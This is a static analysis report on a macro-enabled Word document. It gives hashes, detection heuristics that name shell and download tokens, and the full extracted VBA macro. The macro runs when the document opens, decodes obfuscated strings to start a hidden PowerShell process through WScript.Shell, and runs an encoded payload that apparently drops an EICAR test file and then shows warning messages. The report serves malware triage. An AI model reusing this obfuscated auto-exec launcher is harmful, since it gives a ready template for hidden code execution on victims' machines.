Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9b1a331fd30c0f71…

MALICIOUS

Office (OOXML)

82.5 KB Created: 2020-10-24 02:45:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-10-31
MD5: 068835ad6d5c6c2e9d3062b59dcc4ae6 SHA-1: 64fec9dbb95956ae4b0e08372633e58cd6124b54 SHA-256: 9b1a331fd30c0f71c4eec11a2146d254ffc90673d5aa87293ef3759149ba50a9
112 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objShell = CreateObject(MyObj2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4538 bytes
SHA-256: b1c271e345d7c8762ad030873dcaa0e442f3fd7e3eb723232b8901b84ca00483
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

 Module1.MyProc1
End Sub



Attribute VB_Name = "Module1"
Public Sub MyProc1()

 Dim MyStr As String
 Dim MyPayload As String
 Dim MyCmd As String
 Dim MyObj2 As String
 

MyPayload = Module2.MyPayLd1 & Module2.MyPayLd2 & Chr(61) _


MyStartCmd = Module2.MyStrtCmd1 & Module2.MyStrtCmd2


MyPayload = Replace(MyPayload, "#", "a")
MyPayload = Replace(MyPayload, "*", "A")


MyStartCmd = Replace(MyStartCmd, "5", "s")
MyStartCmd = Replace(MyStartCmd, "3", "E")
MyStartCmd = Replace(MyStartCmd, "1", "I")
MyStartCmd = Replace(MyStartCmd, "0", "O")

MyCmd = MyStartCmd & MyPayload

MyObj2 = Module2.MyObj

MyObj2 = Replace(MyObj2, "5", "S")
MyObj2 = Replace(MyObj2, "!", ".")
MyObj2 = Replace(MyObj2, "3", "e")
MyObj2 = Replace(MyObj2, "1", "i")

Set objShell = CreateObject(MyObj2)
 
'"w5cR1pT!SH3Ll"
 
 
 objShell.Run MyCmd, vbHide


Set objShell = Nothing

MyStartCmd = "You should not enable macros on unknown documents!"
MyPayload = "Your computer has just been infected with a virus."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbCritical, "Alert!"
 
MyStartCmd = "This time it was just EICAR Anti-Virus test file."
MyPayload = "If the antivirus did not react, check it."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbExclamation, "You are lucky"

End Sub



Attribute VB_Name = "Module2"
Public Function MyPayLd1() As String

MyPayLd1 = "" & _
"J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*I**9*C**WwBT*Hk*cwB0*GU*bQ*u*EU*bgB2*Gk*cgBv*G4*bQBl*G4*d*Bd*Do*OgBH*GU*d*BG*G8*b*Bk*GU*cgBQ*GE*" & _
"d*Bo*Cg*WwBT*Hk*cwB0*GU*bQ*u*EU*bgB2*Gk*cgBv*G4*bQBl*G4*d**r*FM*c*Bl*GM*#QBh*Gw*RgBv*Gw*Z*Bl*HI*XQ*6*Do*R*Bl*HM*#wB0*G8*c**p*Ds*" & _
"I**k*EY*#QBs*GU*TgBh*G0*ZQ*9*CI*ZQBp*GM*YQBy*C4*d*B4*HQ*Ig*7*C**J*BG*Gk*b*Bl*F**YQB0*Gg*I**9*C**J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*" & _
"Kw*i*Fw*Ig*r*CQ*RgBp*Gw*ZQBO*GE*bQBl*Ds*I**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*d**x*C**PQ*g*CI*VwBB*EE*MQBB*EU*O*BB*Ek*UQBC*FE*QQBD*FU*" & _
"QQBR*EE*QgBC*EE*RgBB*EE*VwB3*EE*M*BB*EY*dwBB*FU*QQBC*GE*QQBG*Gc*QQBO*FE*QQ*w*EE*QwBn*EE*VQBB*EI*ZQBB*EM*#wBB*E4*dwBC*EQ*QQBF*E0*" & _
"QQBL*FE*QQ*z*EE*S**w*EE*SgBB*EI*RgBB*EU*#wBB*FE*dwBC*EI*QQBG*Ek*QQ*i*Ds*I**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*d**y*C**PQ*g*CI*T*BR*EI*" & _
"V*BB*EY*UQBB*FE*UQBC*E8*QQBF*FE*QQBR*FE*QgBT*EE*RQBR*EE*T*BR*EI*QgBB*EU*N*BB*FY*QQBC*Eo*QQBG*Fk*QQBT*FE*QgBT*EE*RgBV*EE*VQB3*EE*"

End Function

Public Function MyPayLd2() As String

MyPayLd2 = "" & _
"d*BB*EY*UQBB*FI*UQBC*FQ*QQBG*FE*QQBM*FE*QgBH*EE*RQBr*EE*V*BB*EI*RgBB*EM*RQBB*Eo*QQBC*Ek*QQBD*HM*QQBT*EE*QQBx*EE*QQ*9*D0*Ig*7*C**" & _
"J*B2*GE*b**x*C**PQ*g*Fs*UwB5*HM*d*Bl*G0*LgBU*GU*e*B0*C4*RQBu*GM*bwBk*Gk*bgBn*F0*Og*6*FU*bgBp*GM*bwBk*GU*LgBH*GU*d*BT*HQ*cgBp*G4*" & _
"Zw*o*Fs*UwB5*HM*d*Bl*G0*LgBD*G8*bgB2*GU*cgB0*F0*Og*6*EY*cgBv*G0*QgBh*HM*ZQ*2*DQ*UwB0*HI*#QBu*Gc*K**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*" & _
"d**x*Ck*KQ*7*C**J*B2*GE*b**y*C**PQ*g*Fs*UwB5*HM*d*Bl*G0*LgBU*GU*e*B0*C4*RQBu*GM*bwBk*Gk*bgBn*F0*Og*6*FU*bgBp*GM*bwBk*GU*LgBH*GU*" & _
"d*BT*HQ*cgBp*G4*Zw*o*Fs*UwB5*HM*d*Bl*G0*LgBD*G8*bgB2*GU*cgB0*F0*Og*6*EY*cgBv*G0*QgBh*HM*ZQ*2*DQ*UwB0*HI*#QBu*Gc*K**k*EU*bgBj*G8*" & _
"Z*Bl*GQ*V*Bl*Hg*d**y*Ck*KQ*7*C**TgBl*Hc*LQBJ*HQ*ZQBt*C**LQBQ*GE*d*Bo*C**J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*I**t*E4*YQBt*GU*I**k*EY*" & _
"#QBs*GU*TgBh*G0*ZQ*g*C0*SQB0*GU*bQBU*Hk*c*Bl*C**RgBp*Gw*ZQ*g*C0*RgBv*HI*YwBl*C**LQBW*GE*b*B1*GU*I**k*HY*YQBs*DE*Ow*g*EE*Z*Bk*C0*" & _
"QwBv*G4*d*Bl*G4*d**g*C0*U*Bh*HQ*#**g*CQ*RgBp*Gw*ZQBQ*GE*d*Bo*C**LQBW*GE*b*B1*GU*I**k*HY*YQBs*DI*Ow*g*EU*e*Bp*HQ*Ow*"
' & Chr(61)

End Function



Public Function MyStrtCmd1() As String

MyStrtCmd1 = Chr(112) & Chr(48) & Chr(119) & Chr(51) & Chr(114) & Chr(53) & Chr(104) & Chr(51) & Chr(108) & Chr(108) & Chr(32) & Chr(45) & Chr(110)

End Function


Public Function MyStrtCmd2() As String
MyStrtCmd2 = Chr(48) & Chr(51) & Chr(120) & Chr(49) & Chr(116) & Chr(32) & Chr(45) & Chr(119) & Chr(49) & Chr(110) & Chr(100) & Chr(48) & Chr(119) & Chr(53) & Chr(116) & Chr(121) & Chr(108) & Chr(51) & Chr(32) & Chr(104) & Chr(49) & Chr(100) & Chr(100) & Chr(51) & Chr(110) & Chr(32) & Chr(45) & Chr(51) & Chr(32)

End Function

Public Function MyObj() As String
MyObj = "w5cR1pT!SH3Ll"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 34816 bytes
SHA-256: 6f3b1f7763732d2db6c21748cb92698f738fd04fcb67281a053d52f113e2334d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).